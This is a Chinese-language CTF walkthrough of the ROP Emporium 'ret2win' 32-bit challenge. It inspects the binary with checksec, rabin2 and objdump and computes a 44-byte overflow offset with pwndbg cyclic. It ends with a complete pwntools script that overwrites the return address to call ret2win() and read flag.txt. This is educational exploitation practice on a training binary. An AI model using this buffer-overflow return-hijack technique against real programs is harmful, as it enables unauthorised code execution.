概述
ROP Emporium是一个通过一系列的挑战来学习ROP(面向返回的编程)的网站,ROP常用于PWN的场景,本文记录的是第一个挑战ret2win,地址为https://ropemporium.com/challenge/ret2win.html
这里下载的是ret2win32
基本信息获取
检查程序的保护,发现NX启用
checksec ret2win32
查看程序中的字符串,发现bin/cat flag.txt
字样
rabin2 -z ret2win32
[Strings]
nth paddr vaddr len size section type string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x000006e0 0x080486e0 23 24 .rodata ascii ret2win by ROP Emporium
1 0x000006f8 0x080486f8 4 5 .rodata ascii x86\n
2 0x000006fd 0x080486fd 8 9 .rodata ascii \nExiting
3 0x00000708 0x08048708 95 96 .rodata ascii For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
4 0x00000768 0x08048768 29 30 .rodata ascii What could possibly go wrong?
5 0x00000788 0x08048788 95 96 .rodata ascii You there, may I have your input please? And don't worry about null bytes, we're using read()!\n
6 0x000007eb 0x080487eb 10 11 .rodata ascii Thank you!
7 0x000007f6 0x080487f6 28 29 .rodata ascii Well done! Here's your flag:
8 0x00000813 0x08048813 17 18 .rodata ascii /bin/cat flag.txt
查看反汇编
objdump -d -M intel ret2win32
main()调用了pwnme()
pwnme()使用了read(),存在溢出
此外还存在函数ret2win(),能够查看flag,即刚才看到的字符串bin/cat flag.txt
解题思路
挑战的目的是得到flag内容,程序中已存在ret2win()能够读取flag,通过溢出控制返回地址到ret2win()地址即可。
获取偏移
生成随机字符串
pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
计算偏移,得到44
pwndbg> cyclic -l 0x6161616c
44
代码
使用pwntools
from pwn import *
p = process('./ret2win32')
elf = context.binary = ELF('./ret2win32', checksec=False)
ret_address = elf.symbols.ret2win
info(ret_address)
offset = 44
payload = 'A' * offset + p32(ret_address)
p.sendline(payload)
p.recvuntil("Here's your flag:")
flag = p.recvall().strip('\n')
success(flag)
p.interactive()